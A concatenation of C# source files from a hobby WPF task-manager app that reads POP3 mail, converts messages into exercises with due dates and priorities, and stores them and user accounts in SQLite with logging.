exercise.UpdateClientNotificationReferences();
ExerciseDao.UpdateExternalData(exercise);
}
else
ExerciseDao.UpdateExercise(exercise);
RaiseIOProcessingEvent(DatabaseIOEventArgs.InsertUpdate);
return ExerciseDao.GetExerciseFromEid(eid);
}
private bool IsIdTaken (int eid) {
if (eid < 0)
return false;
DbCommandBuilder commandBuilder = new DbCommandBuilder()
.SetCommandSyntax(DbCommandSyntax.Select)
.SetTableName("exercises")
.AddAttribute("eid")
.Where(DbWhereSyntax.Equals, "eid", eid);
SQLiteDataReader reader = null;
bool isIdTaken = true;
try {
reader = commandBuilder.GetSQLiteCommand(OpenConnection()).ExecuteReader();
isIdTaken = reader.HasRows;
reader.Close();
reader.Dispose();
} catch (Exception ex) {
LogHandler.AddToLog(ex, "Could not resolve id-query: " + eid, "WorkManagerDataBinder");
return false;
}
LogHandler.AddToLog("Successfully resolved id-query: " + eid + " (" + isIdTaken + ")", "WorkManagerDataBinder");
RaiseIOProcessingEvent(DatabaseIOEventArgs.Select);
return isIdTaken;
}
}
}
<file_sep>/WorkManager/Exercises/Exercise.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Diagnostics;
using OpenPop.Mime;
using System.Data.SQLite;
namespace WorkManager {
public class Exercise {
public ExerciseMetaData MetaData;
public int Eid;
public string Account;
//Following Fields define the columns shown in the datagrid
public string Title { get { return MetaData.Title; } }
public string Description { get { return MetaData.Description; } }
public ExerciseDate ReceiveDate { get { return MetaData.ReceiveDate; } }
public ExerciseDate DueDate { get { return MetaData.DueDate; } }
public PercentValue Priority { get { return MetaData.Priority; } }
public ExerciseClient Client { get { return MetaData.Client; } }
public string Categories {
get {
string result = "";
for (int i = 0; i < MetaData.Categories.Count; i++) {
if (i > 0)
result += ", ";
result += MetaData.Categories[i].Categorie;
}
return result;
}
set {
foreach (string cat in value.Split(','))
MetaData.Categories.Add(new CategorieData(Account).SetCategorie(cat.Trim()));
}
}
public Exercise (string account, Message mail = null) {
MetaData = new ExerciseMetaData();
Eid = -1;
Account = account;
if (mail != null)
LoadExerciseFromMail(mail);
}
public Exercise (int eid) {
MetaData = new ExerciseMetaData();
Eid = eid;
Account = "";
}
public bool IsValid () {
return MetaData.Title != "" &&
Account != "";
}
public void LoadExerciseFromMail (Message mail) {
MetaData = ExerciseConverter.ExtractMetaData(mail);
}
public override string ToString () {
return Title;
}
internal void UpdateClientNotificationReferences () {
MetaData.ClientNotification.Cid = Client.Cid;
MetaData.ClientNotification.Eid = Eid;
}
}
public class ExerciseMetaData {
public bool Finished;
public string Title;
public string Description;
public string WorkDirectoryPath;
public ExerciseTimeSpan WorkDuration;
public ExerciseTimeSpan TargetWorkDuration;
public ExerciseDate DueDate;
public PercentValue Priority;
public ExerciseClient Client;
public ExerciseDate ReceiveDate;
public List<CategorieData> Categories;
public ExerciseClientNotification ClientNotification;
public ExerciseMetaData () {
Finished = false;
Title = "";
Description = "";
WorkDirectoryPath = "";
WorkDuration = new ExerciseTimeSpan();
TargetWorkDuration = new ExerciseTimeSpan();
DueDate = new ExerciseDate(DateTime.Today + new TimeSpan(7, 0, 0, 0));
Priority = new PercentValue();
Client = new ExerciseClient();
ReceiveDate = new ExerciseDate(DateTime.Today);
Categories = new List<CategorieData>();
ClientNotification = new ExerciseClientNotification();
}
}
}
<file_sep>/WorkManager/ExerciseConverter.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using OpenPop.Mime;
namespace WorkManager {
class ExerciseConverter {
internal static ExerciseMetaData ExtractMetaData (Message mail) {
ExerciseMetaData metaData = new ExerciseMetaData();
try {
string plainTextMail = GetPlainText(mail);
LogHandler.AddToLog(plainTextMail, "ExerciseConverter", 4);
List<string> lines = new List<string>(plainTextMail.Split(new char[] { '\n', '\r' }));
metaData.Client = new Individual(mail.Headers.From.DisplayName, mail.Headers.From.Address);
metaData.ReceivedDate = mail.Headers.DateSent;
foreach (string line in lines) {
if (line == "")
continue;
string tmp = "";
//Categories
if ((tmp = StringHandler.CompareWithCollection(line, "Categories", StringHandler.StartsWith)) != "") {
tmp = StringHandler.Clean(StringHandler.RemoveFromStart(line, tmp));
metaData.Categories = new StringCollection(tmp);
continue;
}
//Dueday
if ((tmp = StringHandler.CompareWithCollection(line, "Dueday", StringHandler.StartsWith)) != "") {
tmp = StringHandler.Clean(StringHandler.RemoveFromStart(line, tmp));
metaData.DueDate = StringHandler.GetDateFromString(tmp, metaData.ReceivedDate);
continue;
}
//Notify
if ((tmp = StringHandler.CompareWithCollection(line, "Notify", StringHandler.StartsWith)) != "") {
tmp = StringHandler.Clean(StringHandler.RemoveFromStart(line, tmp));
if (StringHandler.CompareWithCollection(tmp, "Negation", StringHandler.Equals) != "")
metaData.NotifyClient = false;
else
metaData.NotifyClient = true;
continue;
}
//Priority
if ((tmp = StringHandler.CompareWithCollection(line, "Priority", StringHandler.StartsWith)) != "") {
tmp = StringHandler.Clean(StringHandler.RemoveFromStart(line, tmp));
tmp = StringHandler.Clean(tmp, '%');
metaData.Priority = new PercentValue(Int32.Parse(tmp));
continue;
}
//Title
if (metaData.Title == "") {
metaData.Title = StringHandler.Clean(line);
continue;
}
//Description
metaData.Description = StringHandler.AddLine(metaData.Description, StringHandler.Clean(line));
}
LogHandler.AddToLog("Created new metadata from mail: " + metaData.SummaryClientSide, "ExerciseConverter", 3);
} catch (Exception ex) {
LogHandler.AddToLog(ex, "Error occurd while trying to convert exercise", "ExerciseConverter");
}
return metaData;
}
public static string GetPlainText (Message message) {
MessagePart plainText = message.FindFirstPlainTextVersion();
if (plainText == null) {
LogHandler.AddToLog("Could not find any plain-text version", "ExerciseConverter", 2);
return "ERROR";
}
return plainText.GetBodyAsText();
}
private static string HtmlBracketRemover (string html) {
int startIndexBrackets = 0;
for (int i = 0; i < html.Count(); i++) {
if (html[i] == '<') {
startIndexBrackets = i;
continue;
}
if (html[i] == '>') {
html = html.Remove(startIndexBrackets, i - startIndexBrackets + 1);
startIndexBrackets = 0;
i -= startIndexBrackets + 1;
}
}
return html;
}
}
}
<file_sep>/WorkManager/PercentValue.cs
namespace WorkManager {
public struct PercentValue {
public float Percent { get { return _Percent; } set { _Percent = value > 100 ? 100 : value; } }
private float _Percent;
public float Perone { get { return Percent / 100.0f; } set { Percent = value * 100; } }
public float DbFormat { get { return Percent; } }
public PercentValue (int percent) {
_Percent = 50;
Percent = percent;
}
public PercentValue (float perone) {
_Percent = 50;
Perone = perone;
}
public override string ToString () {
return Percent.ToString() + "%";
}
}
}<file_sep>/WorkManager/StringCollection.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace WorkManager {
public class StringCollection {
public List<string> Collection;
public string Summary {
get {
if (Collection == null)
return "";
string result = "";
foreach (string element in Collection)
result += ", " + element;
if (result != "")
result = result.Remove(0, 2);
return result;
}
set {
Collection.Clear();
string[] collection = value.Split(new char[] { ',', ';' });
foreach (string element in collection)
Collection.Add(element.Trim(' '));
}
}
public StringCollection () {
Collection = new List<string>();
}
public StringCollection (string summary) {
Collection = new List<string>();
Summary = summary;
}
public override string ToString () {
return Summary;
}
internal void AddItem (string item) {
Collection.Add(item);
}
}
}
<file_sep>/WorkManagerTests/Exercises/ExerciseConverterTests.cs
using Microsoft.VisualStudio.TestTools.UnitTesting;
using WorkManager;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace WorkManager.Tests {
[TestClass()]
public class ExerciseConverterTests {
[TestMethod()]
public void HtmlBracketRemoverTest () {
string htmlText = "<html> <body> Hello </br>World</body></html>";
Assert.AreEqual("Hello \nWorld", ExerciseConverter.HtmlBracketRemover(htmlText));
}
}
}<file_sep>/WorkManager/account/UserAccountDao.cs
using System;
using System.Collections.Generic;
using System.Data.SQLite;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace WorkManager {
class UserAccountDao {
public static UserAccount GetUserAccountFromMailAddress (string mailAddress) {
UserAccount account = new UserAccount(mailAddress);
if (mailAddress == null ||
mailAddress == "")
return new UserAccount();
try {
SQLiteDataReader reader = new DbCommandBuilder()
.SetCommandSyntax(DbCommandSyntax.Select)
.SetTableName("useraccounts")
.Where(DbWhereSyntax.Equals, "mailaddress", mailAddress)
.GetSQLiteCommand(WorkManagerDataBinder.OpenConnection())
.ExecuteReader();
if (reader.HasRows == false)
throw new SQLiteException(SQLiteErrorCode.Empty, "No rows were returned.");
reader.Read();
account.MailAddress = reader.GetString(reader.GetOrdinal("mailaddress"));
account.MailPassword = reader.GetString(reader.GetOrdinal("mailpassword"));
account.MailServer = reader.GetString(reader.GetOrdinal("mailserver"));
account.MailServerPort = reader.GetInt32(reader.GetOrdinal("mailserverport"));
account.UseSsl = reader.GetBoolean(reader.GetOrdinal("usessl"));
account.AccountPassword = reader.GetString(reader.GetOrdinal("accountpassword"));
account.AutoLogin = reader.GetBoolean(reader.GetOrdinal("autologin"));
account.LogLevel = reader.GetInt32(reader.GetOrdinal("loglevel"));
reader.Close();
reader.Dispose();
} catch (Exception ex) {
LogHandler.AddToLog(ex, "Could not read account data from database: " + mailAddress, "UserAccountDao");
return new UserAccount();
}
return account;
}
public static bool InsertUserAccount (UserAccount account) {
try {
new DbCommandBuilder()
.SetCommandSyntax(DbCommandSyntax.Insert)
.SetTableName("useraccounts")
.AddValues(GetUserAccountValues(account))
.GetSQLiteCommand(WorkManagerDataBinder.OpenConnection())
.ExecuteNonQuery();
LogHandler.AddToLog("Successfully inserted user account: " + account.MailAddress, "UserAccountDao", LogHandler.LogLevelStates.Detailed);
return true;
} catch (Exception ex) {
LogHandler.AddToLog(ex, "Could not insert user account: " + account.MailAddress, "UserAccountDao");
return false;
}
}
public static List<string> GetAllMailAddresses () {
try {
SQLiteDataReader reader = new DbCommandBuilder()
.SetCommandSyntax(DbCommandSyntax.Select)
.SetTableName("useraccounts")
.AddAttribute("mailaddress")
.GetSQLiteCommand(WorkManagerDataBinder.OpenConnection())
.ExecuteReader();
List<string> mailAddresses = new List<string>();
if (reader.HasRows)
while (reader.Read())
mailAddresses.Add(reader.GetString(reader.GetOrdinal("mailaddress")));
return mailAddresses;
} catch (Exception ex) {
LogHandler.AddToLog(ex, "Could not successfully read all mailAddresses", "UserAccountDao");
return new List<string>();
}
}
public static string GetAutoLoginUserAccount (bool state = true) {
try {
SQLiteDataReader reader = new DbCommandBuilder()
.SetCommandSyntax(DbCommandSyntax.Select)
.SetTableName("useraccounts")
.AddAttribute("mailaddress")
.Where(DbWhereSyntax.Equals, "autologin", state)
.GetSQLiteCommand(WorkManagerDataBinder.OpenConnection())
.ExecuteReader();
string mailAddress = "";
if (reader.HasRows == false)
throw new SQLiteException(SQLiteErrorCode.Empty, "No rows were returned.");
reader.Read();
mailAddress = reader.GetString(reader.GetOrdinal("mailaddress"));
reader.Close();
reader.Dispose();
LogHandler.AddToLog("Successfully read autoLogin account: " + mailAddress, "UserAccountDao", LogHandler.LogLevelStates.Detailed);
return mailAddress;
} catch (Exception ex) {
LogHandler.AddToLog(ex, "Could not successfully read autoLogin account", "UserAccountDao");
return "";
}
}
public static void ResetAutoLogin (bool state = false) {
try {
new DbCommandBuilder()
.SetCommandSyntax(DbCommandSyntax.Update)
.SetTableName("useraccounts")
.AddValue("autologin", state)
.GetSQLiteCommand(WorkManagerDataBinder.OpenConnection())
.ExecuteNonQuery();
LogHandler.AddToLog("Successfully reseted auto-login state", "UserAccountDao", LogHandler.LogLevelStates.Detailed);
} catch (Exception ex) {
LogHandler.AddToLog(ex, "Could not properly execute the reset-auto-login command", "UserAccountDao");
}
}
public static void DeleteUserAccount (string mailAddress) {
if (mailAddress == "")
return; //Wasn't even saved
try {
new DbCommandBuilder()
.SetCommandSyntax(DbCommandSyntax.Delete)
.SetTableName("useraccounts")
.Where(DbWhereSyntax.Equals, "mailaddress", mailAddress)
.Limit(1)
.GetSQLiteCommand(WorkManagerDataBinder.OpenConnection())
.ExecuteNonQuery();
} catch (Exception ex) {
LogHandler.AddToLog(ex, "Could not delete user account: " + mailAddress, "UserAccountDao");
return;
}
}
public static bool UpdateUserAccount (UserAccount account) {
try {
new DbCommandBuilder()
.SetCommandSyntax(DbCommandSyntax.Update)
.SetTableName("useraccounts")
.AddValues(GetUserAccountValues(account, false))
.Where(DbWhereSyntax.Equals, "mailaddress", account.MailAddress)
.GetSQLiteCommand(WorkManagerDataBinder.OpenConnection())
.ExecuteNonQuery();
LogHandler.AddToLog("Successfully updated user account: " + account.MailAddress, "UserAccountDao", LogHandler.LogLevelStates.Detailed);
return true;
} catch (Exception ex) {
LogHandler.AddToLog(ex, "Could not updated user account: " + account.MailAddress, "UserAccountDao");
return false;
}
}
private static List<DbValuePair> GetUserAccountValues (UserAccount account, bool addMailAddress = true) {
List<DbValuePair> values = new List<DbValuePair>();
if (addMailAddress)
values.Add(new DbValuePair("mailaddress", account.MailAddress));
values.Add(new DbValuePair("mailpassword", account.MailPassword));
values.Add(new DbValuePair("mailserver", account.MailServer));
values.Add(new DbValuePair("mailserverport", account.MailServerPort));
values.Add(new DbValuePair("usessl", account.UseSsl));
values.Add(new DbValuePair("accountpassword", account.AccountPassword));
values.Add(new DbValuePair("autologin", account.AutoLogin));
values.Add(new DbValuePair("loglevel", account.LogLevel));
return values;
}
internal static bool SaveToDatabase (UserAccount userAccount) {
if (userAccount.MailAddress == "")
return false;
UserAccount savedAccount = GetUserAccountFromMailAddress(userAccount.MailAddress);
if (savedAccount.MailAddress == "")
return InsertUserAccount(userAccount);
else
return UpdateUserAccount(userAccount);
}
}
}
<file_sep>/WorkManager/Exercises/ExerciseDate.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace WorkManager {
public class ExerciseDate {
public DateTime Date { get; set; }
public string DbFormat { get { return Date.Year + "-" + Date.Month + "-" + Date.Day; } }
public ExerciseDate (DateTime date) {
Date = date;
}
public ExerciseDate (string date) {
Date = ConvertStringToDate(date);
}
public override string ToString () {
return DbFormat;
}
public static DateTime ConvertStringToDate (string date, DateTime defaultDate = default(DateTime)) {
if (defaultDate == default(DateTime))
defaultDate = DateTime.Today;
int[] numberInt = new int[] {
defaultDate.Year,
defaultDate.Month,
defaultDate.Day
};
try {
//DD.MM.YYYY
string[] numberString = date.Split(new char[] { '-' }, numberInt.Length);
for (int i = 0; i < numberString.Length; i++) {
string tmp = numberString[i].Trim();
if (tmp == "")
continue;
numberInt[i] = Int32.Parse(tmp);
}
} catch (Exception ex) {
LogHandler.AddToLog(ex, "Could not parse string to number", "ExerciseDate");
}
return new DateTime(numberInt[0], numberInt[1], numberInt[2]);
}
internal string DateString () {
return Date.Day.ToString() + "-" + Date.Month.ToString() + "-" + Date.Year.ToString();
}
}
}
<file_sep>/WorkManager/LogHandler.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.IO;
using System.Windows.Controls;
namespace WorkManager {
class LogHandler {
public static LogLevelStates LogLevel = LogLevelStates.Debug;
public static int MaxFileSizeByte = 1000000;
public static List<string> LogLevelTitles = new List<string> { "Nothing", "Errors", "Activity", "Detailed", "Debug" };
public static string LogFilePath = "logfile.txt";
public static TextBox LogTextBox;
private static volatile List<string> PendingFileEntrys;
private static volatile bool ActiveFileThread = false;
public enum SaveTargets {
OnlyFile,
OnlyTextbox,
FileAndTextbox
}
public enum LogLevelStates {
Nothing,
Errors,
Activity,
Detailed,
Debug
}
//Message
public static void AddToLog (string activity, string sender, LogLevelStates logLevel = LogLevelStates.Activity, SaveTargets saveTarget = SaveTargets.FileAndTextbox) {
AddLogEntry(TimeStampMessage(activity, sender, logLevel), logLevel, saveTarget);
}
//Exception + Message
public static void AddToLog (Exception exception, string message, string sender, LogLevelStates logLevel = LogLevelStates.Errors, SaveTargets saveTarget = SaveTargets.FileAndTextbox) {
AddToLog(ExceptionMessage(exception) + message,
sender, logLevel, saveTarget);
}
//Exception
public static void AddToLog (Exception exception, string sender, LogLevelStates logLevel = LogLevelStates.Errors, SaveTargets saveTarget = SaveTargets.FileAndTextbox) {
AddToLog(exception, "", sender, logLevel, saveTarget);
}
private static void AddLogEntry (string entry, LogLevelStates logLevel = LogLevelStates.Activity, SaveTargets saveTarget = SaveTargets.FileAndTextbox) {
entry = entry.Replace("\n", Environment.NewLine);
if (logLevel > LogLevel || LogLevel <= LogLevelStates.Nothing)
return;
if (saveTarget != SaveTargets.OnlyTextbox)
AddToFile(entry);
if (saveTarget != SaveTargets.OnlyFile)
AddToLogTextBox(entry);
}
private static void AddToLogTextBox (string entry) {
if (LogTextBox == null)
AddToLog("No textbox was given", "LogHandler", LogLevelStates.Activity, SaveTargets.OnlyFile);
try {
LogTextBox.Dispatcher.Invoke(() => LogTextBox.AppendText(entry));
} catch (Exception ex) {
AddToFile(TimeStampMessage(ExceptionMessage(ex) +
"During the attempt to add a log entry to the LogTextBox", "LogHandler", LogLevelStates.Errors));
}
}
private static string TimeStampMessage (string message, string sender, LogLevelStates logLevel) {
message = message.Replace("\n", "");
return "(" + logLevel + "[" + DateTime.Now.ToShortDateString() + "-" +
DateTime.Now.ToShortTimeString() + "-" +
DateTime.Now.Ticks + "] " +
sender + ": " +
message + ")\n";
}
private static string ExceptionMessage (Exception exception) {
return "{{EXCEPTION was thrown: " + exception.Message + "}}";
}
private static void AddToFile (string entry) {
Task.Factory.StartNew(() => AddToFileThread(entry));
}
private static void AddToFileThread (string entry) {
if (PendingFileEntrys == null)
PendingFileEntrys = new List<string>();
PendingFileEntrys.Add(entry);
if (ActiveFileThread)
return;
ActiveFileThread = true;
try {
while (PendingFileEntrys.Count > 0) {
WriteToFile(PendingFileEntrys[0]);
PendingFileEntrys.RemoveAt(0);
}
} catch (Exception ex) {
AddToLog(ex, "Could not AddToFileThread", "LogHandler", LogLevelStates.Errors, SaveTargets.OnlyTextbox);
} finally {
ActiveFileThread = false;
}
}
private static void WriteToFile (string text) {
try {
File.AppendAllText(LogFilePath, text);
} catch (Exception ex) {
AddToLogTextBox(TimeStampMessage(ExceptionMessage(ex), "LogHandler", LogLevelStates.Errors));
}
}
internal static void Clear () {
AddToLog("Starting to delete logfile: " + LogFilePath, "LogHandler", LogLevelStates.Detailed);
try {
var logfile = new FileInfo(LogFilePath);
logfile.Delete();
} catch (Exception ex) {
AddToLog(ex, "Could not delete logfile: " + LogFilePath, "LogHandler");
return;
}
AddToLog("Successfully deleted logfile: " + LogFilePath, "LogHandler");
}
internal static void CheckFileSize () {
FileInfo logFile = new FileInfo(LogFilePath);
if (logFile.Exists == false)
return;
if (logFile.Length <= MaxFileSizeByte)
return;
MessageBoxHandler.PromptWarning("The log-filesize reached the maximum of " + MaxFileSizeByte +
" Byte. If you did not use the log, we recommend a deletion or to save it elsewhere.\nDelete log-file?",
"Log-file notification", Clear);
}
}
}
<file_sep>/WorkManager/Exercise.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Diagnostics;
using OpenPop.Mime;
using System.Data.SQLite;
namespace WorkManager {
class Exercise {
public ExerciseMetaData MetaData;
private Stopwatch Clock;
public int ID { get; set; }
public bool IsValid { get { return MetaData.Title != "ERROR" && MetaData.Title != ""; } }
public Exercise (Message mail = null, int id = -1) {
Clock = new Stopwatch();
MetaData = new ExerciseMetaData();
ID = id;
if (mail != null)
LoadExerciseFromMail(mail);
}
public void StartWorking () {
LogHandler.AddToLog("Started working on exercise: " + MetaData.Title, "Exercise", 3);
Clock.Restart();
}
public TimeSpan StopWorking () {
Clock.Stop();
LogHandler.AddToLog("Stopped working on exercise: " + MetaData.Title + ". Worked for " +
Clock.Elapsed.TotalMinutes, "Exercise", 3);
MetaData.WorkDuration.Add(Clock.Elapsed);
return Clock.Elapsed;
}
public void LoadExerciseFromMail (Message mail, int mailCount = -1) {
MetaData = ExerciseConverter.ExtractMetaData(mail);
ID = mailCount;
}
}
}
<file_sep>/WorkManager/Individual.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace WorkManager {
public struct Individual {
public string Name;
public string MailAddress;
public char[] PossibleSeperateSymbols;
public string Summary {
get { return Name + " <" + MailAddress + ">"; }
set {
if(PossibleSeperateSymbols == null)
PossibleSeperateSymbols = new char[] { '(', ')', '<', '>', '{', '}', '[', ']' };
string[] extractedData = value.Split(PossibleSeperateSymbols, 2);
if (extractedData.Count() < 1)
Name = "";
else
Name = StringHandler.Clean(StringHandler.Clean(extractedData[0], PossibleSeperateSymbols));
if (extractedData.Count() < 2)
MailAddress = "";
else
MailAddress = StringHandler.Clean(StringHandler.Clean(extractedData[1], PossibleSeperateSymbols));
}
}
public Individual (string sum) {
Name = "";
MailAddress = "";
PossibleSeperateSymbols = new char[] { '(', ')', '<', '>', '{', '}', '[', ']' };
Summary = sum;
}
public Individual (string name, string mailAddress) {
Name = name;
PossibleSeperateSymbols = new char[] { '(', ')', '<', '>', '{', '}', '[', ']' };
MailAddress = mailAddress;
}
public override string ToString () {
string result = Name;
if (result == "")
result = MailAddress;
return result;
}
}
}
<file_sep>/WorkManager/PopMailReceiver.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using OpenPop.Pop3;
using OpenPop.Mime;
namespace WorkManager {
internal class PopMailReceiver {
private Pop3Client Client;
private UserAccount Account;
public PopMailReceiver (UserAccount account) {
Account = account;
Client = new Pop3Client();
}
public bool ConnectToServer (UserAccount account = null) {
if (account == null)
account = Account;
try {
Client.Connect(account.MailServer, account.MailServerPort, account.UseSsl);
Client.Authenticate(account.MailAddress, account.MailPassword);
Account = account;
LogHandler.AddToLog("Successfully connected to " + account.MailServer + " with " + account.MailAddress, "PopClientHandler", LogHandler.LogLevelStates.Detailed);
return true;
} catch (Exception ex) {
LogHandler.AddToLog(ex, "Failed to connect to " + account.MailServer + " with " + account.MailAddress, "PopClientHandler");
return false;
}
}
internal Message GetMail (int index) {
try {
return Client.GetMessage(index);
} catch (Exception ex) {
LogHandler.AddToLog(ex, "Could not return mail", "PopMailReceiver");
return null;
}
}
internal void DeleteMailFromServer (int index) {
try {
Client.DeleteMessage(index);
LogHandler.AddToLog("Successfully deleted mail from server: " + index, "PopMailReceiver", LogHandler.LogLevelStates.Detailed);
} catch (Exception ex) {
LogHandler.AddToLog(ex, "Could not remove mail from server: " + index, "PopMailReceiver");
}
}
internal int GetMailCount () {
try {
return Client.GetMessageCount();
} catch (Exception ex) {
LogHandler.AddToLog(ex, "Could not read the message count", "PopMailReceiver");
return 0;
}
}
internal void Close () {
Client.Disconnect();
}
internal bool TestConnection () {
LogHandler.AddToLog("Starting connection test", "PopMailReceiver", LogHandler.LogLevelStates.Detailed);
if (Account == null) {
LogHandler.AddToLog("Could not connect. Account was not valid. Some information is missing.", "PopMailReceiver", LogHandler.LogLevelStates.Errors);
return false;
}
return ConnectToServer();
}
}
}<file_sep>/WorkManager/Exercises/ExercisesWindow.xaml.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows;
using System.Windows.Controls;
using System.Windows.Data;
using System.Windows.Documents;
using System.Windows.Input;
using System.Windows.Media;
using System.Windows.Media.Imaging;
using System.Windows.Shapes;
using System.Diagnostics;
using System.Windows.Navigation;
using System.Threading;
using System.Globalization;
namespace WorkManager {
/// <summary>
/// Interaktionslogik für ExercisesWindow.xaml
/// </summary>
public partial class ExercisesWindow : Window {
private WorkManagerDataBinder DataBinder;
private Stopwatch Clock;
private TimeSpan ElapsedWorkDuration;
private Exercise OriginalExercise;
public string WorkDirectoryTextShown {
get {
string path = WorkDirectoryPath_TB?.Text ?? "";
if (path == "Not set")
path = "";
return path;
}
private set {
string path = value;
if (path == "")
path = "Not set";
if (WorkDirectoryPath_TB != null)
WorkDirectoryPath_TB.Text = path;
}
}
public TimeSpan WorkDurationTimeSpanShown {
get {
return ElapsedWorkDuration;
}
private set {
int[] units = new int[] { (int) value.TotalDays, value.Minutes, value.Seconds};
string duration = "";
for(int i = 0; i < units.Count(); i++) {
string text = units[i].ToString();
if (text.Length < 2)
text = "0" + text;
if (i != 0)
duration += ":";
duration += text;
}
duration += " sec.";
if (WorkDuration_TB == null)
return;
WorkDuration_TB?.Dispatcher.Invoke(() => { WorkDuration_TB.Text = duration; });
}
}
private Exercise ShownExercise {
get {
string account = Account_TB?.Text ?? "";
Exercise exercise = new Exercise(OriginalExercise.Account);
exercise.Eid = OriginalExercise?.Eid ?? -1;
exercise.Account = Account_TB?.Text.Trim() ?? OriginalExercise.Account;
exercise.MetaData.Title = Title_TB?.Text.Trim() ?? "Exercise";
exercise.MetaData.Description = Description_TB?.Text ?? "";
exercise.Categories = Categories_TB?.Text ?? "";
exercise.MetaData.Client = (client_cb.SelectedIndex < 0) ? new ExerciseClient() : MainWindow.LoadedClientsListView[client_cb.SelectedIndex];
exercise.MetaData.ClientNotification.Id = OriginalExercise.MetaData.ClientNotification.Id;
exercise.MetaData.ClientNotification.Eid = exercise.Eid;
exercise.MetaData.ClientNotification.Cid = exercise.Client.Cid;
exercise.MetaData.ClientNotification.Notify = NotifyClient_CB?.IsChecked ?? false;
exercise.MetaData.ClientNotification.IncludeCompressedWorkDirectory = includecompressedworkdirectory_cb?.IsChecked ?? false;
exercise.MetaData.DueDate.Date = DueDate_DP?.SelectedDate ?? DateTime.Now;
exercise.MetaData.ReceiveDate.Date = ReceiceDate_DP?.SelectedDate ?? DateTime.Now;
exercise.MetaData.WorkDirectoryPath = WorkDirectoryTextShown;
exercise.MetaData.WorkDuration = new ExerciseTimeSpan(ElapsedWorkDuration);
exercise.MetaData.Finished = Finished_CB?.IsChecked ?? false;
exercise.MetaData.Priority.Percent = (int) (Priority_SL?.Value ?? 50);
return exercise;
}
set {
OriginalExercise = value;
Title_TB.Text = value.Title;
Account_TB.Text = value.Account;
Description_TB.Text = value.Description;
client_cb.SelectedIndex = GetIndexFromClient(value.Client);
NotifyClient_CB.IsChecked = value.MetaData.ClientNotification.Notify;
includecompressedworkdirectory_cb.IsChecked = value.MetaData.ClientNotification.IncludeCompressedWorkDirectory;
Priority_SL.Value = value.Priority.Percent;
ReceiceDate_DP.SelectedDate = value.ReceiveDate.Date;
DueDate_DP.SelectedDate = value.DueDate.Date;
Finished_CB.IsChecked = value.MetaData.Finished;
WorkDirectoryTextShown = value.MetaData.WorkDirectoryPath;
ElapsedWorkDuration = value.MetaData.WorkDuration.Duration;
WorkDurationTimeSpanShown = ElapsedWorkDuration;
Categories_TB.Text = value.Categories;
}
}
private int GetIndexFromClient (ExerciseClient client) {
List<ExerciseClient> loadedClients = new List<ExerciseClient>();
foreach (ExerciseClient c in client_cb.ItemsSource)
loadedClients.Add(c);
for (int index = 0; index < loadedClients.Count; index++)
if (loadedClients[index].Cid == client.Cid)
return index;
return -1;
}
private ExerciseClient GetClientFromDefaultRepresantation (string title) {
if (title == null)
return new ExerciseClient();
string mailAddress = title.Split('<').Last();
mailAddress = mailAddress.Trim('<', '>');
return ExerciseClientDao.GetClientFromMailAddress(mailAddress);
}
public string WorkDurationButtonText {
get {
string buttonText = "";
StartClock_BT.Dispatcher.Invoke(() => { buttonText = StartClock_BT.Content.ToString(); });
return buttonText;
}
private set {
string buttonText = value;
StartClock_BT.Dispatcher.Invoke(() => { StartClock_BT.Content = buttonText; });
}
}
public ExercisesWindow (Exercise exercise, WorkManagerDataBinder dataBinder) {
InitializeComponent();
Clock = new Stopwatch();
DataBinder = dataBinder;
client_cb.ItemsSource = MainWindow.LoadedClientsListView;
if (exercise == null)
exercise = new Exercise("");
ShownExercise = exercise;
Title_TB.Focus();
}
private void Title_TB_TextChanged (object sender, TextChangedEventArgs e) {
SetWindowTitle();
}
private void Cancle_BT_Click (object sender, RoutedEventArgs e) {
Close();
}
private void Save_BT_Click (object sender = null, RoutedEventArgs e = null) {
if (ShownExercise.Title == "") {
MessageBoxHandler.PromptInfo("Title cannot be empty. It needs to consist of symbols besides space.", "Cannot be empty");
return;
}
ShownExercise = DataBinder.SaveExercise(ShownExercise);
}
private void SaveAndExit_BT_Click (object sender, RoutedEventArgs e) {
Save_BT_Click();
Close();
}
private void SendStatus_BT_Click (object sender, RoutedEventArgs e) {
throw new NotImplementedException();
}
private void TransferAccount_BT_Click (object sender, RoutedEventArgs e) {
throw new NotImplementedException();
}
private void Finished_CB_Click (object sender, RoutedEventArgs e) {
SetWindowTitle();
}
private void SetWindowTitle () {
string title = ShownExercise.Title;
if (ShownExercise.Title == "")
title += "Exercise";
if (ShownExercise.MetaData.Finished)
title += " [Finished]";
Title = title;
}
private void Hyperlink_RequestNavigate (object sender, RequestNavigateEventArgs e) {
Exercise shown = ShownExercise;
Microsoft.Win32.OpenFileDialog openFileDialog = new Microsoft.Win32.OpenFileDialog();
openFileDialog.InitialDirectory = shown.MetaData.WorkDirectoryPath;
if (openFileDialog.ShowDialog() == false)
return;
shown.MetaData.WorkDirectoryPath = openFileDialog.FileName;
ShownExercise = shown;
}
private void TextBlock_MouseLeftButtonUp (object sender, MouseButtonEventArgs e) {
string path = ShownExercise.MetaData.WorkDirectoryPath;
using (var dialog = new System.Windows.Forms.FolderBrowserDialog()) {
dialog.SelectedPath = path;
System.Windows.Forms.DialogResult result = dialog.ShowDialog();
if (result != System.Windows.Forms.DialogResult.OK)
return;
path = dialog.SelectedPath;
}
WorkDirectoryTextShown = path;
}
private void StartClock_BT_Click (object sender, RoutedEventArgs e) {
if (Clock.IsRunning) {
Clock.Stop();
Save_BT_Click();
return;
}
Clock.Restart();
WorkDurationButtonText = "Stop Clock";
Task.Factory.StartNew(() => UpdateWorkDurationClock());
}
private void UpdateWorkDurationClock () {
